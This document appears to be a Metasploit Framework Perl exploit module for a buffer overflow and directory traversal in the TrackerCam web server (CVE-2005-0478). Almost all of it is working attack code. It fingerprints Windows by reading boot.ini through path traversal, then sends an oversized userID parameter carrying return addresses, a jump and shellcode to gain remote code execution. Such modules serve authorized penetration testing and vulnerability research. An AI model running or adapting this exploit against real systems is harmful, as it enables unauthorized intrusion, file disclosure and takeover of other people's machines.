trackercam_phparg_overflow.pm

`  
##  
# This file is part of the Metasploit Framework and may be redistributed  
# according to the licenses defined in the Authors field below. In the  
# case of an unknown or missing license, this file defaults to the same  
# license as the core Framework (dual GPLv2 and Artistic). The latest  
# version of the Framework can always be obtained from metasploit.com.  
##  
  
package Msf::Exploit::trackercam_phparg_overflow;  
use base "Msf::Exploit";  
use strict;  
use Pex::Text;  
  
my $advanced = { };  
  
my $info =  
{  
'Name' => 'TrackerCam PHP Argument Buffer Overflow',  
'Version' => '$Revision: 1.3 $',  
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],  
'Arch' => [ 'x86' ],  
'OS' => [ 'win32'],  
'Priv' => 1,  
'AutoOpts' => { 'EXITFUNC' => 'thread' },  
  
'UserOpts' =>   
{  
'RHOST' => [1, 'ADDR', 'The target address'],  
'RPORT' => [1, 'PORT', 'The target port', 8090],  
},  
  
'Payload' =>   
{  
'Space' => 2048,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",  
'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500   
'Keys' => ['+ws2ord'],  
},  
  
'Description' => Pex::Text::Freeform(qq{  
This module exploits a simple stack overflow in the TrackerCam web  
server. All current versions of this software are vulnerable to a large  
number of security issues. This module abuses the directory traversal  
flaw to gain information about the system and then uses the PHP overflow  
to execute arbitrary code.  
}),  
  
'Refs' =>   
[  
['OSVDB', '13953'],   
['OSVDB', '13955'],  
['CVE', '2005-0478'],  
['BID', '12592'],  
['URL', 'http://aluigi.altervista.org/adv/tcambof-adv.txt'],   
],  
  
'Targets' =>   
[  
# EyeWD.exe has a null and we can not use a partial overwrite.  
# All of the loaded application DLLs have a null in the address...  
# Except CPS.dl, which moves around between instances.  
  
# Windows XP SP2 and Windows 2003 are not supported yet :-/  
  
['Windows 2000 English', 0x75022ac4 ], # ws2help.dll  
['Windows XP English SP0/SP1', 0x71aa32ad ], # ws2help.dll  
['Windows NT 4.0 SP4/SP5/SP6', 0x77681799 ], # ws2help.dll  
],  
  
'Keys' => ['trackercam'],  
};  
  
sub new {  
my $class = shift;  
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);  
return($self);  
}  
  
sub Check {  
my $self = shift;  
my $s = $self->Connect;  
  
if ($s->IsError) {  
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);  
return $self->CheckCode('Connect');  
}  
  
$self->PrintLine("[*] Querying the remote web server...");  
  
my $path = "/tuner/ComGetLogFile.php3?fn=../HTTPRoot/socket.php3";  
my $req = "GET $path HTTP/1.0\r\n\r\n";  
  
$s->Send($req);  
my $res = $s->Recv(-1, 5);  
$s->Close;  
  
if ($res =~ /fsockopen/) {  
$self->PrintLine("[*] Vulnerable TrackerCam instance discovered");  
$self->Fingerprint();  
return $self->CheckCode('Confirmed');   
}  
  
$self->PrintLine("[*] This TrackerCam service appears to be patched");  
return $self->CheckCode('Safe');  
}  
  
sub Exploit {  
my $self = shift;  
my $target_idx = $self->GetVar('TARGET');  
my $shellcode = $self->GetVar('EncodedPayload')->Payload;  
my $target = $self->Targets->[$target_idx];  
  
$self->PrintLine("[*] Attempting to exploit target " . $target->[0]);  
  
my $s = $self->Connect;  
  
if ($s->IsError) {  
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);  
return;  
}  
  
my $bang = Pex::Text::EnglishText(8192);  
  
# Simple as pie.  
substr($bang, 257, 4, pack('V', $target->[1]));  
substr($bang, 253, 2, "\xeb\x06");  
substr($bang, 261, length($shellcode), $shellcode);  
  
my $data = "GET /tuner/TunerGuide.php3?userID=$bang HTTP/1.0\r\n\r\n";  
  
$self->PrintLine("[*] Sending " .length($data) . " bytes to remote host.");  
$s->Send($data);  
$s->Recv(-1, 5);  
  
return;  
}  
  
# Uses the directory traversal vulnerability to detect the remote OS version  
sub Fingerprint {  
my $self = shift;  
my $data = $self->DownloadFile('nobody.txt');  
  
if (! $data ) {  
$self->PrintLine("[*] Download failed for remote test file");  
return;  
}   
  
my ($path) = $data =~ m/in <b>(.*)<\/b> on line/smi;  
$self->PrintLine("[*] Install path: $path") if $path;  
  
if (uc(substr($path, 0, 1)) ne 'C') {  
$self->PrintLine("[*] TrackerCam is probably not installed on the system drive");  
}  
  
if ($data !~ /Program Files/) {  
$self->PrintLine("[*] TrackerCam is installed in a non-standard location");  
  
}  
  
$data = $self->DownloadFile('boot.ini');  
if (! $data ) {  
$self->PrintLine("[*] Download failed for remote boot.ini file");  
return;  
}  
  
# Windows XP SP2  
if ($data =~ /Windows XP.*NoExecute/i) {  
$self->PrintLine("[*] Detected Windows XP SP2");  
return 'WinXPSP2';  
}  
  
if ($data =~ /Windows XP/) {  
$self->PrintLine("[*] Detected Windows XP SP0-SP1");  
return 'WinXPSP01';  
}  
  
if ($data =~ /Windows.*2003/) {  
$self->PrintLine("[*] Detected Windows 2003 Server");  
return 'Win2003';   
}  
  
if ($data =~ /Windows.*2000/) {  
$self->PrintLine("[*] Detected Windows 2000");  
return 'Win2000';  
}  
  
$self->PrintLine("[*] Could not identify this system");  
return;  
}  
  
sub DownloadFile {  
my $self = shift;  
my $file = shift;  
  
my $s = $self->Connect;  
return if $s->IsError;  
  
my $path = "/tuner/ComGetLogFile.php3?fn=../../../../../../../../../$file";  
my $req = "GET $path HTTP/1.0\r\n\r\n";  
  
$s->Send($req);  
my $res = $s->Recv(8192, 5);  
$s->Close;  
  
return if ($res !~ /tuner\.css/ || $res !~ /\<pre\>/ );  
  
my ($data) = $res =~ m/<pre>(.*)/smi;  
$data =~ s/<\/pre><\/body>.*//g if $data;  
  
return $res if ! $data;  
return $data;  
}  
  
sub Connect {  
my $self = shift;  
my $s = Msf::Socket::Tcp->new  
(  
'PeerAddr' => $self->GetVar('RHOST'),  
'PeerPort' => $self->GetVar('RPORT'),  
'SSL' => $self->GetVar('SSL'),  
'LocalPort' => $self->GetVar('CPORT'),  
);  
return $s;  
}  
  
1;  
  
`